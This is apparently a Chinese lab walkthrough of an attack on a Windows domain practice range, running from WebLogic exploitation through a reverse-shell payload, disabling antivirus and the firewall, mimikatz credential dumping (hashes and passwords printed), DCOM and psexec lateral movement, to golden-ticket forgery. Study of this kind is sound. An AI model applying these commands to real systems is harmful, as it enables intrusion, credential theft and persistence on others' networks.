WEB服务器
信息搜集—打点
Nmap端口扫描1 nmap -sV -O -p 1 -65535 192.168 .145 .150
发现开放防火墙是不能使用ping的 命令换成 1 2 3 nmap -sV 192.168 .145 .150 或者 -A 也是可以的
端口开放的比较多还是 可以看出这个web服务器开放的RPC服务比较多 ,在寻找RPC的漏洞时,发现RPC还可以利用来提权
https://xz.aliyun.com/t/11313#toc-0
然后同时发现是win2008 R2 系统是否存在MS08-067 经典漏洞利用呢,尝试一波 看来并不存在这个漏洞或许打了补丁防火墙子内的 再次尝试 80 端口 和 7001 端口
白版 没有啥子数据啊 对其进行目录扫描 ,这种白板也是不能放过的
1 dirsearch -u http://192.168 .145 .150
还是没有啥发现,只存在于一个/aspnet_client/ 目录,这个目录是IIS下,常有的一个目录文件 该文件夹中含有集成了 ASP.NET 的“SmartNavigation”功能 的 javascript 。如果启用 SmartNavigation,网页设计人员就可以在页面以及其他内容之间保持滚动条和元素焦点的位置。 aspnet_client 是虚拟根 Web 应用程序目录,该目录是当您安 装 .NET Framework SDK 或 Visual Studio .NET 时在您的计算机上创建的。此文件不占用户空间。
Weblogic
7001 端口众所周知是weblogic的中间件的常用端口 对其进行端口扫描:
1 dirsearch -u http://192.168 .145 .150 :7001
1 2 3 4 5 6 7 8 [03:32 :13 ] 200 - 0B - /bea_wls_deployment_internal/DeploymentService [03:32 :13 ] 200 - 0B - /bea_wls_internal/HTTPClntRecv [03:32 :15 ] 302 - 285B - /bea_wls_internal -> http://192.168 .145 .150 :7001 /bea_wls_in [03:32 :15 ] 200 - 49B - /bea_wls_internal/ [03:32 :15 ] 200 - 0B - /bea_wls_internal/iiop/ClientRecvte [03:32 :30 ] 302 - 305B - /console/ -> http://192.168 .145 .150 :7001 /console/login/LoginF [03:32 :30 ] 302 - 267B - /console -> http://192.168 .145 .150 :7001 /console/ [03:34 :24 ] 200 - 855B - /uddi/uddilistener
既然是Weblogic中间件 ,可能是存在漏洞的,毕竟weblogic漏洞挺多的 使用漏洞验证工具 去验证是否存在漏洞
漏洞验证 存在漏洞还是有几个的
1 2 3 4 5 6 [15 :42 :54 ][INFO] [+][CVE-2020 -2883 ][192.168 .145 .150 :7001 ] Exists vulnerability! [15 :42 :54 ][INFO] [+][CVE-2020 -2555 ][192.168 .145 .150 :7001 ] Exists vulnerability! [15 :42 :51 ][INFO] [+][CVE-2020 -14750 ][192.168 .145 .150 :7001 ] Exists vulnerability! [15 :42 :51 ][INFO] [+][CVE-2019 -2729 ][192.168 .145 .150 :7001 ] Exists vulnerability! [15 :42 :50 ][INFO] [+][CVE-2019 -2725 ][192.168 .145 .150 :7001 ] Exists vulnerability! ............
漏洞既然这么多,我这里使用GUI的漏洞利用工具去获取shell 使用 CVE-2016-0638 可以直接写入命令, 获取shell 使用另外一款weblogic的工具注入内存 或者shell 使用蚁剑去连接就ok
Weblogic利用工具链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 v4.0 .1 -godzilla https://github.com/BeichenDream/Godzilla/releases/tag/v4.0 .1 -godzilla 哥斯拉 Behinder_v4.0 .6 冰蝎 https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.0 .6 Weblogic一键漏洞检测工具,V1.5 WeblogicScan https://github.com/rabbitmask/WeblogicScan weblogicScaner https://github.com/0xn0ne/weblogicScanner Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行 https://github.com/sp4zcmd/WeblogicExploit-GUI/releases/tag/WeblogicExploit-GUI WeblogicTool_1.1 .jar 深信服深蓝实验室天威战队 https://github.com/KimJun1010/WeblogicTool/releases/tag/v1.1
如果是写shell的话要写在war 目录下(百度得之)
上线 生成msfvenom木马
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168 .145 .130 LPORT=1111 -f exe > win08.exe
上传上去 设置 监听 运行 win08.exe shell文件 Run 运行获取shell
本机内网信息搜集
ping 域
1 2 systeminfo // 查看操作系统信息 echo %PROCESSOR_ARCHITECTURE% // 查看系统体系结构
1 2 net user // 查看本地用户 net localgroup administrators // 查看本地管理员组(通常包含域用户)
提权 迁移进程
1 ps -ef | grep svchost.exe
使用这个PID为 636的进程
查看权限已经是system权限了 本机基本信息搜集可以得知
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 IP 192.168 .145 .150 10.10 .10 .80 内网网卡 域控 de1ay.com10.10 .10 .10 administrator 权限 用户/组 : Administrator de1ay DE1AY\Domain 补丁: [01]: KB2999226 [02]: KB958488 [03]: KB976902
域内信息搜集 1 2 3 4 5 6 7 8 net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等 net view /domain // 查看域 net time /domain // 主域服务器会同时作为时间服务器 net user /domain // 查看域用户 net group /domain // 查看域内用户组列表 net group "domain computers" /domain // 查看域内的机器 net group "domain controllers" /domain // 查看域控制器组 net group "Enterprise Admins" /domain // 查看域管理员组
存在防火墙 的原因可能是 查询不到 查看主域 查看域内用户 还存在 krbtgt 用户,可能会用到票据把 查看域内用户组列表 查看域内机器 查看域管理员组
1 net group"Enterprise Admins" /domain
关闭防火墙
1 run post/windows/manage/enable_rdp
但是好像没啥鸟用啊 查看进程列表tasklist /v查看杀软及相关进程服务
存在360 常见杀软进程
进程名
杀软
360SD.exe
360杀毒
HipsMain.exe
火绒
SafeDog*
安全狗
D_Safe*
D盾
yunsuo*
云锁
hws*
护卫神
avp.exe
卡巴斯基
avcenter.exe
小红伞
Mcshield.exe
_Mc_Afee
QQPCRTP.exe
QQ电脑管家
hids
主机防护类产品
关闭防火墙 / 360 因为老掉线,也可能是杀软的原因给杀了
1 netsh advfirewall set allprofiles state off
杀掉 360的进程
1 2 3 ps | grep 360 kill 2988 .......
查看域内主机IP地址 使用MSF我觉得比for 循环快一点
1 2 3 4 use post/windows/gather/arp_scanner set session 1 set rhosts 10.10.10.1-255 run
1 2 3 4 [+] IP: 10.10.10.1 MAC 00:50:56:c0:00:01 (VMware, Inc.) [+] IP: 10.10.10.10 MAC 00:0c:29:5c:b3:f1 (VMware, Inc.) [+] IP: 10.10.10.80 MAC 00:0c:29:a7:38:83 (VMware, Inc.) [+] IP: 10.10.10.201 MAC 00:0c:29:e3:1b:93 (VMware, Inc.)
抓取密码 hashdump
1 2 3 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: de1ay:1000:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay : Admin@123 上传mimikatz 因为已经关掉360了就不会被杀掉,不然需要做免杀(还不会免杀 …..)
1 2 3 4 5 启动 提升权限 抓取密码 mimitakz.exe privilege::debug sekurlsa::logonPasswords
发现存在一个问题
1 ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process
mimikatz模块需要两个条件: 1.权限Admistrator或system; 2.支持32/64位,但默认加载32位,对于64位很多模块无法默认加载,需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。
使用kiwi模块 里面的mimikatz
1 2 3 列举所有凭据:creds_all 列举所有kerberos凭据:creds_kerberos 调用kiwi_cmd执行mimikatz命令:kiwi_cmd sekurlsa::logonpasswords
获取到的基本信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 主域: DC.de1ay.com 域用户 ------------------------------------------------------------------------------- Administrator de1ay Guest krbtgt mssql 域内机器 DC$ WEB$ PC$ 域管理员 Administrator 存在杀软 360 防火墙 内网主机IP地址 10.10.10.10 域控 10.10.10.80 WEB 10.10.10.201 PC WEB 主机 密码 de1ay Admin@123 域内: * Username : Administrator * Domain : DE1AY * Password : 1qaz@WSX * Username : mssql * Domain : DE1AY * Password : 1qaz@WSX
搭建隧道 上传 Venom
1 2 3 4 Kali ./admin_linux_x64 -lport 2222 win08 agent.exe -rhost 192.168.145.130 -rport 2222
接收到之后连接 设置socks 3333端口 使用nmap 查看是否开启 445,3389端口
1 2 3 这里需要注意的事nmap的ping是依据icmp包进行传输的。 而proxychains无法代理icmp包。 所以nmap + ip地址是无法进行探测的
开启的 使用rdeskstop 去访问看看
横向移动 —> PC$
DCOM 控制WEB主机与PC建立一个ipc$连接:
1 net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator
新生成一个msf木马win.exe,上传到WEB主机上,然后在WEB主机上执行命令,将木马复制到远程主机PC上:
1 copy win.exe \\10.10.10.201\C$
然后再meterpreter中载入powershell模块:
1 2 load powershell // 载入powershell模块 powershell_shell // 进入powershell交互模式d
在powershell里面执行如下命令,控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马: 结果全是报错。。。。。
DCOM的方法 1 2 3 4 5 6 7 8 9 10 11 12 方法一 $com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") 方法二 $com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1") $obj=[System.Activator]::CreateInstance($com) $item=$obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) 方法三 $com=[Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1") $obj=[System.Activator]::CreateInstance($com) $obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
我们这里的使用方式是使用DCOM去运行 win,exe 文件
1 2 3 4 $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c c:win.exe","c:\windows\system32",$null,0)
既然此方法不通,再尝试使用MS17-010 设置MSF代理 使用MS17-010 失败 其实还有个更加简单的方法 ,不是已经获取到密码了 直接域用户远程登录 ,点击win.exe 返回shell 点击win 就可以获取权限 这样就成功返回shell了 但是这样获取的权限较低了
派生给CS 使用MS16-016 提权成功
域控 直接利用msf的exploit/windows/smb/psexec模块进行哈希传递
1 2 3 4 5 6 use exploit/windows/smb/psexecset payload windows/x64/meterpreter/bind_tcpset rhost 10.10 .10 .10 set SMBUser administratorset SMBPass 1qaz@WSX run
结果全是超时,存在防火墙啊 使用CS的psexec 创建 SMB监听 成功获取到shell SYSTEM权限
黄金票据 黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证 黄金票据的条件
域名城
域的sid值
域的krbtgt账户htlm密码哈希
伪造用户名
黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新获取最高权限
首先抓取krbtgt用户的Hash值并获取域sid
1 2 3 4 5 6 7 8 Administrator:500 :aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24::: Guest:501 :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502 :aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb::: de1ay:1001 :aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24::: mssql:2103 :aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24::: DC$:1002 :aad3b435b51404eeaad3b435b51404ee:a3e8703c012b09dec6b81745e03d335d::: PC$:1105 :aad3b435b51404eeaad3b435b51404ee:936b1a016012e78dfe4214e993402399::: WEB$:1603 :aad3b435b51404eeaad3b435b51404ee:cdf7ecbd5506727d008792636adad3c4:::
1 2 privilege::debug lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
获的的数据
用户
de1ay
域名
de1ay.com
域SID
S-1-5-21-2756371121-2868759905-3853650604
域的krbtgt账户htlm密码哈希
82dfc71b72a11ef37d663047bc2088fb
生成前先清空票据
1 kerberos::purge //清空所有票据
手动创建票据
1 2 3 kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1 -5 -21 -2756371121 -2868759905 -3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后再在mimikatz中将凭证ticket.kirbi注入进去:
1 kerberos::ptt ticket.kirbi
导入之后就可以使用IPC,Psexec 获取shell PsExec 上传:https://github.com/EliteLoser/Invoke-PsExec github地址:
1 PsExec.exe \\10.10 .10 .10 cmd.exe
使用dir 一开始使用域名不知道为什么有问题一直不行,使用msf里面的shell的时候好像使用psexec 不行。。。
/// 总结 : 外网打点 ,weblogic 虽然是使用自动化工具,写上去内存马了,但是不知道这个weblogic的绝对地址 , 百度得知,weblogic写shell 一般是写在war ,或者 image 下的 贴个靶机的绝对路径C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war> 这是连接内存马的地址http://192.168.145.150:7001/bea_wls_internal/index.html?size=1 如果是administrator权限的话,是可能可以getsystem 或者查看是否存在system权限的 进程,进行迁移提权的 ,虽然我不会免杀,但是这个 360 好像用处不大,倒是这个防火墙有点难搞有时候,连接上了很爱断开连接,而且可以使用MS17010打PC,但是因为防火墙打不了。 认识到了DCOM 方法去执行命令,弹shell ,但是不知道我这里为啥行不通 ,没找到原因。。。 对票据还是不太收悉,要加强多看看 多练练啊 ,权限维持不太会。